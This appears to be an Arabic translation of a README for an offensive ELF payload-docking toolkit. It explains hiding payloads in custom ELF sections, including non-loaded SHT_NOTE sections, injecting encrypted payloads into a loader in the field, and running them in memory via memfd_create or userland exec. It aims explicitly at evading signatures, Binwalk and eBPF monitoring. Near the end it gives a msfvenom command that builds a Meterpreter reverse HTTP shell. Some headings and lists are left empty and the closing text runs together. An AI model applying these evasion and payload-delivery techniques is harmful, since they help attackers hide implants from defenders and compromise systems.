
ELF binary section docking toolkit لتوصيل الحمولة بدون مراحل، مما يتيح إرفاق الحمولة في الميدان، وتجنب التوقيع، ومقاومة التحميل الثابت والديناميكي عبر معالجة أقسام ELF المخصصة.
.data.payload.h:
const data[3432] = {
0x43, 0x28, 0x41, 0x11, 0xa3, 0xff,
...
0x00, 0xff, 0x23
};
يتم ذلك يدويًا أو باستخدام أدوات مثل bin2c أو xxd -i payload.bin > payload.h مع تضمين الرأس لاحقًا.
يعد تخزين الحمولات في .text و .data بطريقة عامة فكرة سيئة أيضًا بسبب سهولة تتبع التحميل، والتنقيب في الدلالات السلوكية لتحميل البيانات للتنفيذ.
__attribute__'s. هذا أفضل قليلاً ولكنه لا يزال قابلًا للتتبع بشكل جيد بسبب كيفية إنشاء ELF وتحميله.char stack[10000] __attribute__ ((section ("binstack"))) = {
0x43, 0x28, 0x41, 0x11, 0xa3, 0xff,
...
0x00, 0xff, 0x23 };
int init_data __attribute__ ((section ("bindata"))) = 0;
main()
{
/* Initialize stack pointer */
init_sp (stack + sizeof (stack));
/* Initialize initialized data */
memcpy (&init_data, &data, &edata - &data);
}
توجيه .incbin المعتمد على المُجمّع يمكنه إنشاء قسم وتضمين حمولة.
مثال: gcc -c payload.s أو ld -r -b payload.bin -o payload.o
.section .bindata
.global payload_start
.type payload_start, @object
.section .binddata
.balign 64
payload_start:
.incbin "payload.bin"
.balign 1
payload_end:
.byte 0
مع الاسترجاع لاحقًا في المُحمل كالتالي:
int main(void) {
extern uint8_t payload_start;
uint8_t *ptrPayload = &payload_start;
...
}
ملاحظة: يمكننا تضمين ELF كامل الوظائف في payload.bin وهو أمر مهم عندما يتعلق الأمر بإنشاء ملفات ثنائية "ضخمة"، تحتوي على عناصر من عدة أدوات.
ملاحظة:: توجد أدوات أكثر راحة لإنجاز المهمة، مثل INCBIN من @graphitemaster [رابط]
تنويع على الموضوع هو ASM مضمن كالتالي:
/* Raw image data for all embedded images */
#undef EMBED
#define EMBED( _index, _path, _name ) \
extern char embedded_image_ ## _index ## _data[]; \
extern char embedded_image_ ## _index ## _len[]; \
__asm__ ( ".section \".rodata\", \"a\", " PROGBITS "\n\t" \
"\nembedded_image_" #_index "_data:\n\t" \
".incbin \"" _path "\"\n\t" \
"\nembedded_image_" #_index "_end:\n\t" \
".equ embedded_image_" #_index "_len, " \
"( embedded_image_" #_index "_end - " \
" embedded_image_" #_index "_data )\n\t" \
".previous\n\t" );
EMBED_ALL
/* Image structures for all embedded images */
#undef EMBED
#define EMBED( _index, _path, _name ) { \
.refcnt = REF_INIT ( ref_no_free ), \
.name = _name, \
.data = ( userptr_t ) ( embedded_image_ ## _index ## _data ), \
.len = ( size_t ) embedded_image_ ## _index ## _len, \
},
static struct image embedded_images[] = {
EMBED_ALL
};
ملاحظة: لاحظ PROGBITS في تعريف القسم، سيكون مهمًا.
تضمين الحمولة الثنائية عبر المترجم/الرابط ليس مثاليًا
هناك مفاضلات:

نوع القسم والعلامات المحددة على القسم الجديد الذي يحتوي على الحمولة تحدد ما إذا كان مُحمل نظام التشغيل يقوم بتحميله في الذاكرة عند إطلاق الملف القابل للتنفيذ. بعض الأقسام تُحمّل تلقائيًا افتراضيًا، والبعض الآخر لا يُحمل (مثل .symtab, .strtab)
من منظور الهجوم، ما الكفاءات التي يمكننا الحصول عليها من ذلك؟
يمكننا تجنب تعيين علامات على الأقسام التي تفترض التحميل الافتراضي في الذاكرة.
يمكننا استخدام نوع مختلف من الأقسام لا يُحمل في الذاكرة.
قد يحتاج البائع أو مهندس النظام إلى وضع علامة على ملف كائن بمعلومات خاصة يمكن للبرامج الأخرى التحقق منها للتوافق أو الاتساق. يمكن استخدام الأقسام من النوع
SHT_NOTEوعناصر رأس البرنامج من النوعPT_NOTEلهذا الغرض.
في الحالة الأخيرة، يمكننا رؤية استخدام هذا النوع من الأقسام في الملفات الثنائية للنظام:
$ readelf --sections /bin/tar | grep NOTE
[ 2] .note.gnu.bu[...] NOTE 00000000000002c4 000002c4
[ 3] .note.ABI-tag NOTE 00000000000002e8 000002e8
ويمكننا فحص محتواها:
$ readelf -p .note.ABI-tag /bin/tar
String dump of section '.note.ABI-tag':
[ c] GNU
النتيجة النهائية لإنشاء قسم SHT_NOTE ستبدو هكذا في ELF:

مكافأة: SHT_NOTE يوفر لنا هيكلًا إذا احتجنا لاستخدامه (وسنستخدمه لاحقًا):

حتى الآن تمكنا من إنشاء قسم، وتجنب تحميله في الذاكرة بواسطة مُحمل نظام التشغيل. القسم في حالة سكون داخل صورة ELF في الوقت الحالي. سنناقش كيفية تحميله بعد قليل. ومع ذلك، هناك سؤال أكثر إلحاحًا وهو حقيقة أننا ما زلنا نعمل على مستوى المترجم والرابط، والقسم هو كائن يتم نسجه في بنية ELF النهائي، مما يُنشئ علاقات وعناوين ذاكرة من كود المُحمل الذي يشير إلى محتواه.

ماذا لو تمكنا من إنشاء قسم ELF بحمولة مضمنة خارج سير عمل تجميع المُحمل، وإرفاق ذلك القسم لاحقًا بالملف الثنائي للمُحمل؟
هذا من شأنه أن يكسر علاقة كود المُحمل بتفاعل القسم. ثم نُعلم المُحمل كيف يجد ويحمل قسم البيانات "الأجنبي" الخاص به، مما يُرسي بشكل فعال حمولة إلى مُحمل بطريقة فضفاضة.
من الناحية المفاهيمية، ستكون أهدافنا:
ستبدو علاقة المُحمل/الحمولة (في القسم) الآن هكذا:

يمكننا بعد ذلك إنشاء حقنة ستعمل على إدخال قسم حمولة إلى المُحمل دون عمل أي منهما على مستوى الكود، فقط التوافق الثنائي (ووعي المُحمل بكيفية تحميل أي قسم حمولة)

بعض النتائج من إعداد إرساء قسم ELF العام هذا:
يمكن بعد ذلك شحن مُحمل ELF ثابت بمفرده، خالٍ من الحمولات، فقط آليات لتحميل قسم عند الطلب وتشغيل الحمولة منه.
يمكن تعبئة الحمولة بشكل منفصل ودمجها مع المُحمل في أي وقت كمرحلة ثابتة، أو في وقت لاحق باستخدام حقنة. يمكن غالبًا تشفير الحمولة، وغالبًا ما تكون ملف ELF قابل للتنفيذ إذا لزم الأمر، طالما أن المُحمل لا يعرف بنية الحمولة بل فقط قدرات التعبئة الخاصة بها.
يمكن للحقنة التوسط في إرفاق أقسام من عدة ملفات ثنائية (مراحل خاملة) لبناء قسم وحقنه في المُحمل.
هناك مزايا للبناء على مستوى القسم مقابل تعبئة موارد متعددة في ملف قابل للتنفيذ. لا يوجد حمل على الاكتشاف لمعالجة العبوات والكود. هناك مكاسب من حيث حمل أقسام متعددة مع أدوات أخرى تعتمد على الإطلاق في الذاكرة ولا يمكن تعبئتها بسهولة بسبب كيفية اضطرار العبوات إلى استخراج الملفات الثنائية في نظام الملفات. (قسم الملفات الثنائية الضخمة لاحقًا)
دعنا نناقش مكونات إرساء قسم ELF بمزيد من التفصيل.
الموضع: خلفي أو في الميدان المزايا:
الموضع: في الميدان المزايا:
المزايا:
تقوية حقنة/عبوة ELF القطاعية:
تقوية مُحمل ELF:
بضع كلمات حول مُحمل ELF القطاعي الذي يعمل مع مُطلق الحمولة:
يمكن للمُحمل استخدام إحدى آليتي تنفيذ الحمولة في الذاكرة:
الخيار أ: SYS_Memfd_create ()
الخيار ب: Userland Exec (https://grugq.github.io/docs/ul_exec.txt)
تشغيل سير العمل:

فرص التهرب من Binwalk بعد حمولة ELF القطاعية مقابل حمولة MSF:

التهرب من eBPF مقابل عبوة ELF القطاعية:

مدقق YARA واختبارات:


تعريف أداة STIX:

cmake --configure . لتكوين بيئة البناء الخاصة بك. نحن ندعم CMake 3.18 حاليًا../build.shhttps://github.com/rapid7/mettlevendor/lib/reflect/libreflect.a ولكن يمكن إعادة بنائها من المستودع الأصلي إذا لزم الأمر.bpftrace، يرجى تثبيت رؤوس kernel المناسبة لتوزيعتك.run.shaux/msfrc RC مثل:msfconsole -r aux/triage/msfrc
msfvenom -p linux/x64/meterpreter_reverse_http LHOST=127.0.0.1 LPORT=4443 -f elf > ../elfpack_staging/mettle-shell.elf
sudo bpftrace aux/triage/elfpack_BPF_snoop_rules.bt
aux/triage/elfpack_yar.py./aux/triage/elfpack_yar.py <path/to/elf/file> [elf_section]